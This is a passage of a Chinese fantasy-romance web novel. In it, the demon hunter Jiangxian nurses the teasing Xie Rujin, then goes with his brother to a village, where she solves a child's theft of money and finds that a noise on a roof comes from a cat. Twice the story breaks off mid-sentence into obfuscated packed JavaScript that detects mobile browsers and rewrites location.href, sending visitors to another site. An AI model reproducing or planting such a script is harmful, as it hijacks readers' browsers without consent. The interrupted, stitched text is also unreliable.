谢如恙反驳道:“可我们也不能因为旁人用了错的方式对自己,就用错的方式回报回去吧?” 绛仙坚持道:“我这叫以其人之道还治其人之身!” “不能这么说!” “那要怎么说?” 两人僵持了许久,绛仙才扭过头去:“你究竟是来道歉的还是来教育我的?” 谢如恙摸摸鼻子,做贼似的看了绛仙几眼,似乎还有什么话想说。 绛仙瞥了他一眼,见他这副样子,想着反正睡意也没了便开口问他:“还有什么话要说?一次性说完。” 谢如恙更扭捏了,他挠了挠头,道:“昨日长徽兄不是跟着殿下进宫了吗?我想借着去看他的名义去打探打探殿下的态度……” 绛仙知道他还是在担心赵袂会因为昨日打的那场架生气,怕她会迁怒到谢家。没什么多问的,便道:“那你去啊。” “但是……”他瘪起嘴,慢吞吞地道,“我要走几日,我哥还生着病,我又怕其他人照顾不好,所以……” 绛仙眉间一跳,这人的意思是要让她帮忙照顾谢如许?! “我不……” “不”字还没说完,绛仙转念一想,若是能借照顾的名义去谢如许身边打探打探似乎也不错,答应了谢如恙的请求也算是卖他一个人情,日后问些什么也有理。 反正谢如许又没有真的生病,她也用不着多上心,还能借此机会会一会他,何乐而不为? 于是,绛仙转了话头,点头道:“好啊。” 谢如恙诶了一声,有些惊讶,没想到绛仙这么快就同意了,他想了好久的措辞竟然都用不上了。 见他迟疑,绛仙搭上他的肩膀,问:“怎么?不愿意了?” 谢如恙连忙摆手:“不不不,你同意可太好了!那我也能放心了。” 他抚着胸膛顺气,离开前一步三回头地叮嘱:“你要和我哥好好相处!” “我哥人很好的,你们也可以做朋友!” “对了,给我哥的药要记得放凉一点,小心烫到他。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850699|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 一句接着一句,说得绛仙脑袋都大了。 她摆摆手,赶猪似的示意谢如恙快点走。 等谢如恙的身影在眼前彻底消失,绛仙叉起腰来,看向谢如许院子的方向,露出一个势在必得的笑容。 可这个笑容并没有在她脸上待多久,很快就被一脸的麻木代替。 当她端着今天的第三碗汤药走进谢如许房间的时候,他正闲闲地倚在塌边,手下翻过一页书,发出小小的一声“哗”。 察觉到绛仙进来,他将目光从书上移开,看着她轻笑:“这次的汤药还烫吗?” 绛仙咬牙:“不烫了。” 他又问:“那还凉吗?” 绛仙端着碗的手慢慢收紧,“温的。” 谢如许这才放下书,对着绛仙伸出手,道:“那好,拿过来吧。” 绛仙带着怒气走上前,把碗狠狠塞进他手里,有几滴汤药溅出,谢如许只是看了一眼,并没有多管。喝完药,一抬眼,却见绛仙正盯着他,便问:“怎么?这次的温度很合适。” 绛仙怒极反笑:“谢公子你知道吗?我现在想把这碗砸在你头上。” 谢如许勾唇:“现在知道了。” 说完,他把碗递回绛仙面前,绛仙接过,怒气再也压不住了,长发和发带无风自动,砰的一声把碗摔在地上,瓷碗瞬间四分五裂。 她本就不是奔着照顾他来的,结果还没问他一句就被他使唤着做这做那。 他呢?闲坐在床上还有心思翻书?这让本就一肚子气的她更为愤怒。 她忍不住吼道:“烫了不行凉了不行,你当我是你的仆人吗?喝个药挑成这样,你真当自己是病人了?你别以为你能骗过我,我可不是谢如恙那个缺心眼,真的当你是个病弱公子,你要是再使唤我,你信不信我弄死你!” 闻言,谢如许眨眨眼,“可我从来没有骗过你啊。” “……” 绛仙一口气憋在嗓子里,仔细一想,好像他从来没在自己面前隐瞒过什么,从来都是光明正大的引自己怀疑。 想到这里,绛仙不由发问:“你是不是有病?” 谢如许看了看被摔碎的药碗,摊手道:“否则为什么要喝药呢?” 绛仙:“……” “好,你会说……”绛仙捏起拳来,玉剑从袖中飞出,直直抵上谢如许的眉心,“那我割了你的舌头,看你还能不能说!” 即使如此,谢如许却还是没有退意,只是轻轻垂下眼,道:“这把剑叫什么名字?” 绛仙被气个半死:“你昨天晚上聋了吗?” “我是说这一把。”谢如许伸手拂开剑,对上绛仙带着怒意的双眼,温声道,“在我面前,你不必如此。” 一拳打在棉花上,绛仙拧眉看着他,问:“你为什么对我的剑这么感兴趣?” 谢如许从善如流道:“这世上的名器宝剑千千万万,于我而言都不过过眼云烟,但它们的主人为它们取的名字便不同了。不同性格的人会为剑取不同的名字,或诙谐、或庄重。持剑者,决定剑战斗的招式,而剑又能反应出持剑者的性格、经历。” 他顿了一下,轻轻笑着:“所以,我不是对这把剑感兴趣,我是对你感兴趣。” 绛仙一怔,半晌没有说出话来。 谢如许继续道:“所以,现在能告诉我它的名字了吗?” “上弦月。”绛仙的声音有些闷,正要蹲下身收拾地上的瓷片却又突然反应过来什么,猛得站起身,再次剑指谢如许。 剑锋带起一阵凌厉的寒气,她横眉冷对:“你刚刚特地说了‘这把剑’,那你是怎么知道我还有另一把剑的?” 17. 溺爱 这一句话让气氛瞬间降至冰点。 谢如许正要开口却听屋外响起一阵急促的脚步声。 绛仙一惊,扭头往窗外看,只见谢如恙正小跑着过来。 不行,不能让谢如恙知道,否则就麻烦了! 她看了谢如许一眼想要收回剑,没想到他竟然用两指定住剑身,不慌不忙道:“既然它叫上弦月,那另一把就叫下弦月咯?” “你……” 话音未落,谢如恙推门而入,他似乎是有什么很要紧的事情要说,可在看到屋内的景象后,原本脱口的话变成了一声尖叫:“哥!阿绛你又要干什么?” 绛仙正想解释,谢如许却先一步开口:“我看绛仙姑娘这剑新奇,便想凑近看看。阿恙不用担心,我和绛仙姑娘相处的很愉快,是吗?” 两人一同看向绛仙,一个带着笑意一个带着疑惑。 绛仙深吸一口气,一口银牙都要咬碎才道:“是,非常愉快。” 说着,她上前揽住谢如许的肩膀,用了十成十的力气拍了几下,脸上挤出一抹笑:“真的,非常愉快,你就别担心了,快走吧。” 谢如恙看着两人相亲相爱的样子,一拍手掌:“那可太好了!我还担心你们两个相处不好,特地回来看一看,见你们聊得这般开心我就放心了。那我就先走了,改日见,记得想我!” 说完,谢如恙脚步轻快地离开了。 绛仙侧过头看向谢如许,问他:“你知不知道你弟弟很缺心眼?” 谢如许没有回话,将目光投向被绛仙揽住的肩膀,道:“绛仙姑娘,男女授受不亲。” 绛仙这才反应过来自己还揽着他,赶忙放手站起身:“昨日你牵我手的时候可没说男女授受不亲。” 她嘟囔几声后蹲下身开始收拾地上的碎碗,可就在她的手即将碰到碎碗的一刻,谢如许的声音再次响起:“绛仙姑娘,有些凉了。” “我把你给点了行不行?真是麻……”绛仙收回手,一回头就见谢如许将手蜷起,掩唇轻咳,目光有意无意地往窗户上引了引。 她当下就明白了对方的意思,“你没脚吗?自己不会关?” 谢如许无辜道:“可我是病人啊,麻烦绛仙姑娘关一关。” 绛仙走到榻前的窗户边上,砰的一声关上窗户,回头看他:“满意了?” 谢如许遮在唇边的手没有放下,整张脸只露出了一双眼睛。 离得近了,她才发现谢如许的瞳孔有些微微泛白,雪白。 此刻,那双带着笑意的眼中倒映着她的脸,让她一时失神。 直到谢如许放下手,她才回过神来。 “满意。”话音落下,谢如许站了起来。 绛仙顿时火冒三丈:“你都站起身来了你就不能自己关窗户吗?怎么没懒死你?” 谢如许十分优雅地理了理衣摆,随后朝前走去,边走边道:“我是病人,窗边太凉,吹了风,病会加重的。” “病不死你!”绛仙叉起腰来,却见谢如许在碎碗处停下,然后蹲下身用手将碎片一块一块捡起来,放在随身的帕子上。 等将地上的所有碎片都捡完后,他将帕子包起,又在外面包了一层帕子,才递给绛仙。 “劳烦,帮我扔一扔。” 绛仙接过,嘴角一扯,道:“我自己不会收拾吗?显着你了!” 说罢,她绕开谢如许头也不回地出了门。 谢如许看着绛仙离去的背影,提醒道:“那是我随身的帕子,你可别丢了。” 绛仙回应:“我不丢,我烧了它!” …… 绛仙本以为自己能借着这个机会查清楚谢如许的身份,没想到几日过去了却还是一无所获。 来硬的,谢如许半点不还手,但是会告诉她,如果谢如恙知道了会怎么样。 来软的,他又不肯开口。 美其名曰:我说过不会骗你的。 绛仙暗自冷笑:说了不会骗就连话都不说了是吗? 咬牙切齿的过了好几日,绛仙觉得自己的腮都大了一圈儿。 这日,她盯着谢如许喝完药,正准备走,却听谢如许道:“绛仙姑娘,秋末树叶落得多,劳烦你收拾收拾。” 绛仙重重将碗搁在桌上,转头问他:“你家没有下人吗?你就非得派我来做?” 谢如许笑吟吟道:“若是你愿意帮这个忙,我就回答你一个问题。” 绛仙怒气冲冲地走近,伸手掐住他的脖子,将他抵在床榻上,“讨价还价?信不信我杀了你?” 脉搏在两人的手掌和脖颈之间来回跳动,就连心跳都不自主地趋于一致。 “杀了我,我就不能回答你的问题了。”谢如许垂眸看了看掐着自己脖子的手,轻轻地扬了扬下巴,毫不保留地把自己的命门展示在绛仙眼前,然后问,“你真的要杀了我吗?” 绛仙心跳一滞,触碰到谢如许颈间肌肤的手像是被火舌舔舐过一般,她立刻松开了手,“不就是扫个落叶吗?好,我去。” 谢如许看着绛仙离开,等她到了院子里后站起身来走至窗边。就在这时,谢如恙回来了,和谢如许对上眼神的那一刻,他看到对方比了个噤声的手势,然后对自己招了招手。 谢如恙很是听话的来到兄长身边,看着院中打扫落叶的绛仙惊奇道:“阿绛竟然在扫地?!” 谢如许没有说话,只是静静地注视着绛仙的身影。 一边岁月静好,一边却被气得发抖。 绛仙深吸一口气,抬头看向身后的老树,这树的树冠大,树叶多。 她刚刚扫完一堆就又落下来一地,边扫边掉,什么时候是个头? 越想越气,绛仙干脆把手中的扫帚一扔,快步走到树边,五指并拢坐掌状,用力给了这树一掌。 霎那间,飞沙走石,谢如恙感觉自己脚下的地都震了三震。 下一瞬,他便看到那颗自他出生起就存在的老树缓缓朝着一侧倒去。 他惊呼:“我的树!哥,哥你看……” 一转头,他却见谢如许带着笑意看着立在院中的绛仙。 “哥,我就说你不能让她扫地吧?这下好了,树没了。”谢如恙面露可惜。 谢如许却轻笑道:“绛仙姑娘还真是有一身好力气,如此粗壮的一棵树,只用了一掌就劈断了呢!” 谢如恙长大了嘴,试图唤醒自己的兄长:“可 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“什……”话一出口,绛仙就反应过来了,她指着谢如许怒道,“你敢耍我?!” “不敢,谢某还有要事,先告辞了。”谢如许拱了拱手后转身离开。 只留绛仙在身后握起了拳,谢如恙就正好撞在了枪口上,刚刚跑到绛仙身边就被她打了一拳。 他捂住胸口,不可置信道:“你打我做什么?” 绛仙没好气地回道:“你过来做什么?” 谢如恙有些委屈,揉了揉胸口后道:“你不是需要妖丹吗?我这次入宫就去问了明璟哪里的恶妖比较多,打算回来告诉你,让你去取。这样既能惩奸除恶又能帮你,一举两得!谁知……我一来你就给我一拳。” 绛仙眼神有些飘忽,“好嘛,对不起。” “没诚意。”谢如恙撇撇嘴。 绛仙只好面带微笑,认真,一字一顿地道:“对,不,起。这下可以了吗?” “好吧,我原谅你了。”谢如恙终于露出个笑来。 绛仙追问:“所以那个明璟说的‘恶妖很多的地方’是哪里?” 说到这个,谢如恙来了兴致,揽住绛仙的肩膀让她转了个圈儿,指向西北方向,道:“汴京城的西北方有一条河,叫做五丈河,五丈河横穿汴京。河上游与城墙相接的地方很少有人去,据说哪里有一只大妖,每到冬季就要吞吃孩童的魂魄,可怕得很!” “吞吃孩童魂魄?那位长公主不管吗?”绛仙随口问。 谢如恙解释道:“不不不,那都是以前了。当今圣上在位后就没有再发生过那种事情了。” 绛仙蹙眉:“那你还让我过去?喝西北风吗?” 谢如恙一拍手掌:“不是说大妖待过的地方都会留有很多小妖居住吗?怎么可能什么都没有?” “小妖?”绛仙啧啧两声,“不划算。” “蚊子腿再小也是肉啊,你就别挑挑拣拣的了,走吧走吧!” 看谢如恙这般兴奋,绛仙感到有些莫名,思忖片刻后问他:“你这么激动做什么?难道你也想去?” 18. 疯子 谢如恙被戳中了小心思,低下头一笑:“我前些天不是和长徽兄学了几招吗?所以我想试试看。” 绛仙不确定地问:“你行吗?可别妖还没找到就被吓跑了。” 谢如恙一拍胸脯,胸有成竹道:“当然可以你就放心吧!我绝对不会给你拖后腿的!” “哦?”绛仙盯着他看了一会儿,不知想到了什么,粲然一笑后道,“好呀,那我这次就带着你,陪你好好玩玩。” 谢如恙完全没有听出绛仙话中的恶劣意味,兴奋地点了点头,问:“那我们接下来……” 他眼含期待地看着绛仙,等着绛仙接自己的话。 绛仙却一摆手,“回去睡觉!” 谢如恙的笑收了起来:“养精蓄锐吗?那我们什么时候去?” 绛仙一边往回走一边给他解释:“你刚才不也说了吗?大妖是在冬天才会出来活动的。” 谢如恙跟上她,追问:“可是那大妖已经被制服了啊,现在只剩小妖了吧?” 绛仙看他一眼,嘲笑道:“你什么都不知道就想跟我过去?还说不会拖后腿?” 谢如恙移开视线,心虚地笑了几声。 绛仙颇为无奈地解释道:“你方才说大妖居住过的地方经常会有小妖,那你知道为什么会有小妖吗?” 谢如恙摇头。绛仙继续道:“因为那些小妖本就是依附大妖生活、借大妖的威力自保的。所以会去迎合大妖的生活习惯,大妖会在冬日出现,所以那些小妖也会在冬日才外出活动觅食。养成了习惯,想该就很难了,即使大妖被镇压,它们也还是和之前一样,冬日出,春夏秋伏。现在去怕是连一根毛都找不到。” 说完,谢如恙才恍然大悟地点头。 “原来如此。” 绛仙揶揄:“一知半解就想去?说你是个莽夫都算夸你了!” 谢如恙揽上了绛仙的胳膊,奉承道:“这不是有你吗?我们无所不能的妖丹猎手。” 绛仙看他一眼,伸手掐上了他的脸,用了些力气去拧,直到他发出一声痛呼才放手。她将手臂从谢如恙怀中抽出,似怒又似笑:“阿谀奉承还真有一套啊!行了,我回去睡觉了。” 离开前,她又回过头威胁:“以后你哥你自己照顾,要是再麻烦我……”她做了一个抹脖子的动作,随后潇洒离开。 谢如恙站在原地挠了挠头,心中嘀咕不是她自己答应的吗? …… 之后的日子绛仙过得还算舒坦,想睡就睡,想吃就吃,想着反正是谢家付钱,她就趁这个机会吧汴京城内所有的小店都吃了个遍,选了几家喜欢的,打算日后多吃几次。 甚至连谢如许也没有在她面前多慌,除了每日三餐,她几乎就没见过他。当然,她也乐得自在。 若说唯一的变故,就是那位雇主回信了。 信上说让她跟在谢如恙身边稳住他,静观其变并提防有其他人靠近夺宝。至于要取出玉桂枝的方法,还需多等一段时日。 这对绛仙来说无异于放一个长假,还能在放假期间赚些外快,何乐而不为? 等到立冬这日,谢如恙早早就带上了谢如许为自己准备好的行囊,站在门口等绛仙。 绛仙到的时候,只见下人们抬着一个巨大的包袱往马车上放。 她眉梢一跳,问谢如恙:“你这是去捉妖还是春游?” 指挥着下人的谢如恙回头,一脸的笑:“这都是我哥给我们准备的,就算是外出吃喝住行上也不能落下!”说着,他一脸兴奋,上蹿下跳地向绛仙介绍这辆马车,“车夫就坐在这里。从这扇门进去是一间小堂,可以喝茶、吃点心,这几把椅子上都是汴京城极佳的绣娘绣的坐垫和靠垫,用了上等的棉和布料,很舒服的!” “再进一扇门就是卧房。男女有别,所以这卧房从中分成了两间,有门隔开的,不用担心不方便!卧房里的陈列都一样,一张床,一桌一椅,还有窗户可以打开通风。被褥用的也都是尚好的天蚕丝,还有熏香!顺着中间的过道往里,就是放杂物的地方。” 他一个一个数着:“我哥准备了糕点、茶、茶壶、火炉、牌九,可以无聊的时候玩!还有衣裳,备用的被子……” 绛仙不由扶额:“你每次出门都是这样的?” “不是啊,之前马车上只有一间房。”谢如恙眨眨眼,紧接着就要拉着绛仙去马车内感受一下。 这马车还真是别有洞天,就像是把一座小宅子缩小放了进去一样。 马车开始往前走的时候,谢如恙双眼发亮地凑到绛仙面前,问:“你发现了吗?你感受到了吗?” 绛仙把他的脸推开,皱眉:“什么东西?” 谢如恙欣喜道:“这马车就算遇上再难走的路,车内的人都不会感受到任何晃动,睡觉再也不用担心被晃醒了!” 绛仙深吸一口气,把谢如恙推出门去:“去去去,那现在我要试试了,男女有别你走。” 门关上的那一瞬间,所有的噪音都被隔绝在外。绛仙不由赞叹这屋子的隔音还真不错,顿觉灵台清明,整个人都放松了不少。 她推开窗,任凭马车外带着丝丝冷意的风吹进来。车外风景疾驰而过,绛仙却被摆在桌上的一只白玉香炉吸引了注意。 香炉盖子上雕刻着一只栩栩如生的鹿,其下的香炉肚子则被做成了流云的形状。白鹿踏云乘风,精细又好看。 绛仙轻轻将香炉捧起,凑进嗅了嗅,一阵沉香气味扑鼻。但仔细感受却又不止有沉香,还有檀香、甘草、安息香等的气味。 静谧,清新,温暖。 安神香? 绛仙不由一怔,捧着香炉的手也有些微微发烫。 这香炉和香,不会也是谢如许准备的吧? 车轮轱辘轱辘地往前转,绛仙坐在窗边看着路边已经枯败的草木,思绪逐渐飘远。 白鹿、安神香、谢如许…… 等思绪回笼的时候,马车已经停下来了。 车夫在车外对着谢如恙喊道:“二公子,前方有一座村庄,要在这里停吗?” 谢如恙忙道:“停停停!阿绛,我们下去了!” 下了车,绛仙在谢如恙身上嗅到一阵花香,便开口问:“你身上怎么这么香?” 谢如恙闻言抬起手臂嗅了嗅,道:“零陵香啊,我最喜欢的香,我哥特意给我准备的!” 绛仙薄唇微抿,又是谢如许。他也是特意给自己准备的安神香吗? 这世上香料千千万万,他怎么就恰好给自己准备了安神香呢? 思索间,谢如恙忽然问道:“对了,我好像还没有问过你。你分明是妖,为何要猎妖,还要杀妖取丹啊?” 这个问题不仅是谢如恙疑惑,很多人也都觉得奇怪:绛仙分明是一只妖,不像其他妖一样占山为王就算了,为何还要以杀妖取丹谋生? 不少人猜测她是为了脱离妖的身份,不被人鄙夷,可是这两年下来,她也没有任何与人交好的意思。最后落得个两边不讨好的下场,那她究竟是为了什么? 谢如恙本以为这背后的原因一定是悲伤又痛苦的,像是被同组背叛,被恶人逼迫之类的。 没想到绛仙却道:“赚钱啊。” “就只是这个?”谢如恙大跌眼镜。 “不然呢?怎么,你们人谋财害命,互相残杀没什么,到妖身上就不行了?”绛仙语气随意。 谢如恙却不甘追问:“那就没有别的理由了?比如你被什么人下了毒,不献上妖丹就会毒发身亡?或者你被什么人背叛过,从此断情绝爱,冷酷无情?而且你又总是独来独往……” 绛仙皱眉打断,反问道:“为什么我就非要受个什么伤才能被激起斗志?那些谋反的、称王、追名逐利的那么多,你为什么不去问他们是不是受了什么伤或者是被什么人给逼迫的?单纯的野心不行吗?至于独来独往,我就只是单纯地怕别人给我拖后腿。”她眯了眯眼,“像你一样!” 谢如恙这下闭嘴了,轻轻哦了一声后闷头往前走。 忽然,一个黑影快速朝他冲来,还没等他反应就被一股大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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领头村民道:“公子你有所不知,那女人是个疯子,我们村子好心好意收留她,她却在村里偷鸡摸狗,她刚刚怀里抱着的那只鸡,就是我家的!” 村民说的气愤,谢如恙连忙逃出钱袋:“一只鸡而已,何至于?那鸡多少钱,我帮她付了,你们就别追着人家不放了。” 这些村民也不是不讲理的人,听谢如恙这么说后面面相觑,最后那领头村民叹了口气,接过谢如恙的钱,道:“多谢这位公子慷慨,只是一直这样也不是个办法啊,这次您帮她还了,那下次呢?我们就是些农户,能赚点钱不容易,那一只鸡抵我一家人一个月的饭钱呢,不给她些教训,下次她又来偷我们又要怎么办?” “可以暴制暴终归是不好的,而且你们也说了她是个疯子,又怎么能用常人的规矩去约束她呢?”谢如恙思忖片刻后道,“这样吧,这件事我来解决,你们放心!” “这……怎么好意思呢。”村民有些不好意思地挠了挠头。 谢如恙大手一挥,亲热地揽上他的肩膀,道:“怎么不好意思?相逢即是有缘,我们现在是朋友了!朋友之间互帮互助有什么不好意思的?”他顿了顿,看了绛仙一眼后又道,“不过在这之前我还想请你们帮个小忙。” 那村民也是个爽快的,听他这么说也放开了些,道:“害,您直接说就是,只要是我们力所能及的,一定帮您!” 说罢,他身后的村民们也应和起来。 谢如恙冲绛仙眨眨眼,随后道:“你们这里有没有什么妖物作祟?” “妖物?”领头的村民想了半刻,一拍手掌,点头道:“还真有!” 谢如恙立刻来了兴致,道:“哪里哪里?劳烦你带我们过去。” 村民对着一个方向指了指,道:“就在哪儿,那家人这些天可哭惨咯!” 说着,他遣散了周围的村民,和谢如恙并肩朝着那户人家走去,绛仙则是跟在二人身后,面露不悦。 19. 捉妖 谢如恙和村民边走边聊,从叫什么名字,家有几口人到这个村子都是做什么的,可谓是无一不说。走了好一会儿,他才想起绛仙跟在两人身后好像很久都没有说话了。 于是,他和村民说了几句后转身走回了绛仙身边。 “阿绛,那大哥叫于海,挺好说话的,你也上去聊几句呗!” 绛仙看了那人一眼,转而问道:“你真够热心的,你打算怎么解决那个疯子的事情?” 谢如恙没想到她还在想刚刚那个姑娘,惊了一瞬后道:“现在还没想好,但一定会有解决办法的。船到桥头自然直嘛!” “自然直?那是一个人,还是一个疯子!你要怎么解决?你是治她的病还是要包揽她的后半生?又以什么身份照顾她?你认识她吗?她过去是怎么样的,她有没有家人,如果她的家人找过来怎么办?你想都没想好就脱口而出要帮忙?” 一连几问,让谢如恙又想起了第一次遇见绛仙的那晚。 他把笑收起来,少见的严肃:“多考虑一些是对的,可是我们总不能因为顾虑多就见死不救吧?若人人都瞻前顾后,那就太无情啦!” “好,我无情。你爱帮你帮,出事别找我。”绛仙加快了步子往前走,不过片刻就冲到了村民前头。 她还要走,却听村民一叫:“姑娘!” 她头都不回没好气道:“做什么?我可不像某人,热情得很!” 于海有些为难地看了谢如恙一眼后道:“那个……您走过了,在这边。” 绛仙的步子停下了,切了一声后若无其事地朝着于海指的方向去了,只不过这次的步子更快了。 谢如恙拍拍他的肩:“她性格就这样,别见怪。” 于海也没多在意,豪爽道:“年轻人嘛,气性大些理解理解。” 于海所说被妖物侵扰“哭惨了”的也是一家普普通通的农户。 男耕女织,还有个十岁左右的孩子。 听完了夫妻两人的诉苦,得知二人是因为最近家中经常丢钱才怀疑是妖物作祟的。 四人围坐在一张桌子上,绛仙则站在几步之外,靠在已经有些开裂的木柱上,远远看着他们。 “那会不会是有贼啊?”谢如恙面带同情地问。 妇人摇头:“不会,我们发现丢钱后就把院子的门给封上了,确定没有人会进来的!” “那你们为什么怀疑是妖偷钱?”谢如恙又问。 夫妇对视一眼,这次是那位农户开口:“我们一开始也没往那方面想,毕竟妖都是害命的,哪有妖需要钱啊?” 绛仙顿了一下。 “可是,之后我们就在院子里发现了这个。”说着,他从一旁的柜子里拿出一个有些生锈的金蟾雕塑。 谢如恙摸了摸有些扎手。 “这东西我们之前都没见过的,突然就出现在我们院子里了。一开始我们以为是有人放错了地方,就把它给放出去了结果第二天它又回来了。一连几日,无论丢到哪里,第二日它都会回来。最近的那一次,它甚至出现在我们床头!”妇人说得神乎其神。 农户也附和着:“是啊是啊,我们前些日子才反应过来,大部分妖确实不需要钱,但有一种妖却和钱息息相关,那就是蟾!金蟾!” 谢如恙放在金蟾背上的手收了回来,仔细打量了一番,问:“你是说这是妖啊?” 夫妇同时点头。 谢如恙转头看向绛仙,喊道:“阿绛,你来看看这东西有没有妖气?” 绛仙只瞥了一眼,就笃定道:“那就是普通的雕塑。” 谢如恙不确定地问:“真的吗?” 绛仙又看了一眼,撇撇嘴:“丑。” 谢如恙也开始纳闷了,不是贼又不是妖,那钱为什么会丢? “这姑娘说得可信吗?”农户看向绛仙,见她就是个黄毛丫头,不像道士又不像尼姑,也不知道靠谱不靠谱。 “不信我?”绛仙挑眉。 谢如恙见她变了表情,怕她又生气甩手不干,便抢先开口道:“当然可信!她最厉害了!她不但能一眼看出这不是妖,还能一眼看出究竟是谁偷了你家的钱!” 话音一落,桌上三人的目光瞬间都投向了绛仙。 绛仙咬牙,心道这人还真会给自己找事。 妇人的心思似乎更加敏感些,见绛仙这副表情便站起身来,从自己头上摘下来一支木簪递上钱,道:“这位姑娘竟如此厉害,是我和我家那口子有眼不识泰山了,抱歉啊。这簪子是我亲手做的,不值钱,您若是不嫌弃就收下吧,就当是您帮我们这个忙的谢礼了。” 谢如恙赶鸭子上架,她本是不情不愿的,却没想到这妇人突然上前还说了这些话,一时有些无言。 妇人见状将簪子放进绛仙手里,然后用自己粗糙的手包住她的手,手心温顿滚烫,让她无所适从。 “我们不过是普通农户,赚到的钱也只够一家温饱……” 绛仙打断:“少和我说这些,和我有什么关系?” 她挣脱开妇人的手,把簪子还给她,转身要走,那妇人却再次开口:“阿绛姑娘……” “我不叫阿绛。” 行至门口,绛仙听到那妇人轻轻叹了一声。 谢如恙有些为难,想叫住绛仙又觉得她不会听自己的,只好道:“如果实在找不到的话,那就由我把钱补上好了!” “这怎么行!”农户忙道。 屋内渐渐安静了下来,绛仙也停在了门口,手搭在门栓上没有别的动作。 好半晌,她才无奈道:“一个比一个蠢。” 她终于是转过了头,看着愁容满面的夫妻俩,道:“还不明白?谜题摆在谜面上,偷你们钱的不是妖,是人。至于为什么你们做好了防护钱还是会不翼而飞,当然是因为。”她叹了一声,打开门将人从门外拎进来,“家贼难防!” 妇人惊呼一声:“正儿!” 那男童被绛仙拎在空中死命挣扎,听到娘喊自己连连求救:“娘,救救我救救我!” 妇人心疼地把孩子从绛仙手里接住,抱着他看向绛仙。 绛仙抱臂居高临下地看着那孩子,冷笑一声:“说吧,把钱藏哪儿去了?” 男童怯怯地钻进妇人怀里,只留一双黑亮的眼睛看着绛仙 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说罢,她低头看了一眼男童,对他道:“我倒要看看你要怎么解释。” 男童抿着嘴一言不发。 直到众人跟着金蟾来到他的房间,才开始挣扎着要拉父母离开。 金蟾在屋子里转了一圈儿,最终停在了男童的枕头上。谢如恙小心翼翼地将金蟾移开,想要拿出枕头,没想到那金蟾竟护食一般一口咬了上来。他发出一声惨叫,委屈巴巴地看向绛仙。 绛仙这才上前拿过枕头,沉甸甸的,撕开后里面竟然装满了铜钱。 “现在,信谁?”她目光在众人脸上扫了一圈儿,最后停在男童菜色的脸上。 “我……不是故意。”男童这才松口,想为自己辩解,“我是看其他人都有钱,都可以买自己喜欢的东西,我却只能跟在他们身后眼巴巴地望着,我也想有钱,我也想买自己喜欢的东西……” 说到最后,他哇哇地哭起来。 农户的脸色不太好看,但碍于外人在场也没有当面发作,只是将孩子拎到一边,对着绛仙和谢如恙道了谢后请三人出去。 屋内的哭声隔着院子都能听到,而且越发的撕心裂肺。 谢如恙听得牙酸,有些担忧地问:“这真的不会出问题吗?要不要拦一下,小孩子嘛,犯错也正常。” 于海叹着气摇头,“这兄弟好面子,自己家孩子偷了钱还被我们给知道了,怕是快气死了。现在就算想拦也拦不住了,再说这也是人家的家事,我们不好插手。” 谢如恙还是担心,离开前一步三回头地往屋子里看。 绛仙看不下去,将他拉回来,“别看了,再看连你一起打!” 谢如恙撇撇嘴,绛仙看向于海,道:“妖?哪儿呢?” 于海似乎有些不好意思,干笑了半晌后一拍脑袋:“哦,我还知道一家!这次一定是真的!” “你确定?”绛仙不太愿意相信。她可不想捉妖捉到最后又给人家料理家务事。 “这次是真的!相信我!”于海成竹在胸道。 20. 血印 在于海的笃定和谢如恙的撺掇下,绛仙耐着性子跟着两人去了另一户人家。 这户人家与方才那户有所不同,这家的男主人参军时受了伤,无法行动瘫痪在床,一家老小只靠女主人一人照顾。 所以在三人来到她家门口的时候只看见一个矮小的妇女背着孩子在院中忙碌,见有客人前来才放下手中的活计,擦了擦手后引几人进去。 这屋子不算大,却十分的整洁,所有东西都放在它该在的地方,即使屋内住着一个无法行动的男人、年纪还小的婴孩还有一个垂垂老矣的老人,也没有一丝异味,反而充斥的一股皂角的香气。 一进门,谢如恙就不由地感叹了一声。 妇人长得不算漂亮,但也算不得丑陋,若是出去眼下乌青和脸上的皱纹算得上是小家碧玉。两人接过妇人的茶水后,开始听她描述这些天发生的怪事。 大抵就是这些日子以来每到晚上屋顶就会响起一阵怪声,像是有什么人在屋顶上走动,但等她外出查看却什么都没有发现,连个人影都没有。 她白日照顾家人本就忙碌,夜晚又被怪声打扰睡不上个好觉,也怪不得眼下乌青这么重了。 这妇人应该没怎么读过书,但说话的调理却十分清晰,只几句话就能将事情讲清楚,甚至没有一句多余的废话。 或许是因为对方的态度温和声音轻柔,这次绛仙没有了方才的不耐烦,而是很认真地把房屋里外查了一遍,最后飞上房檐看了片刻后得到了答案: 是猫。 她将从房檐上捡到的麦谷碎屑捻给妇人看,向她解释是因为晒过谷子留下的碎屑招来了鸟,猫又喜欢捉鸟玩,所以才会跳上房顶发出怪声。 妇人听后恍然大悟,握着绛仙的手连连道谢。 或许是方才绛仙跃上房檐的动作太过潇洒帅气,此时周围围了不少人,都七嘴八舌地讨论着,还有些和于海关系好的上前询问,听到这两位是来帮忙的立刻炸开了锅。 一个个上前去问谢如恙能不能帮自己的忙。 这些“忙”包括但不限于:如何让自家田里的庄稼一夜之间长得比人还高?能不能让自己娶到一个贤良淑德的媳妇?以及能不能让自家孩子考上状元之类的。 绛仙出了院门,看到一群人将谢如恙团团围住,谢如恙一脸惊慌,但嘴上还在说着慢慢来别着急,一个一个来。 知道的以为谢如恙是个人,不知道的还以为他是哪座庙里的大佛呢! 于是,她大喝一声:“都安静!他脑门上写了有求必应四个字吗?求神仙也不带你们这么求的!” 她把谢如恙从人堆里揪出来,见他发冠也歪了衣襟也松了,嫌弃的撇了撇嘴角。 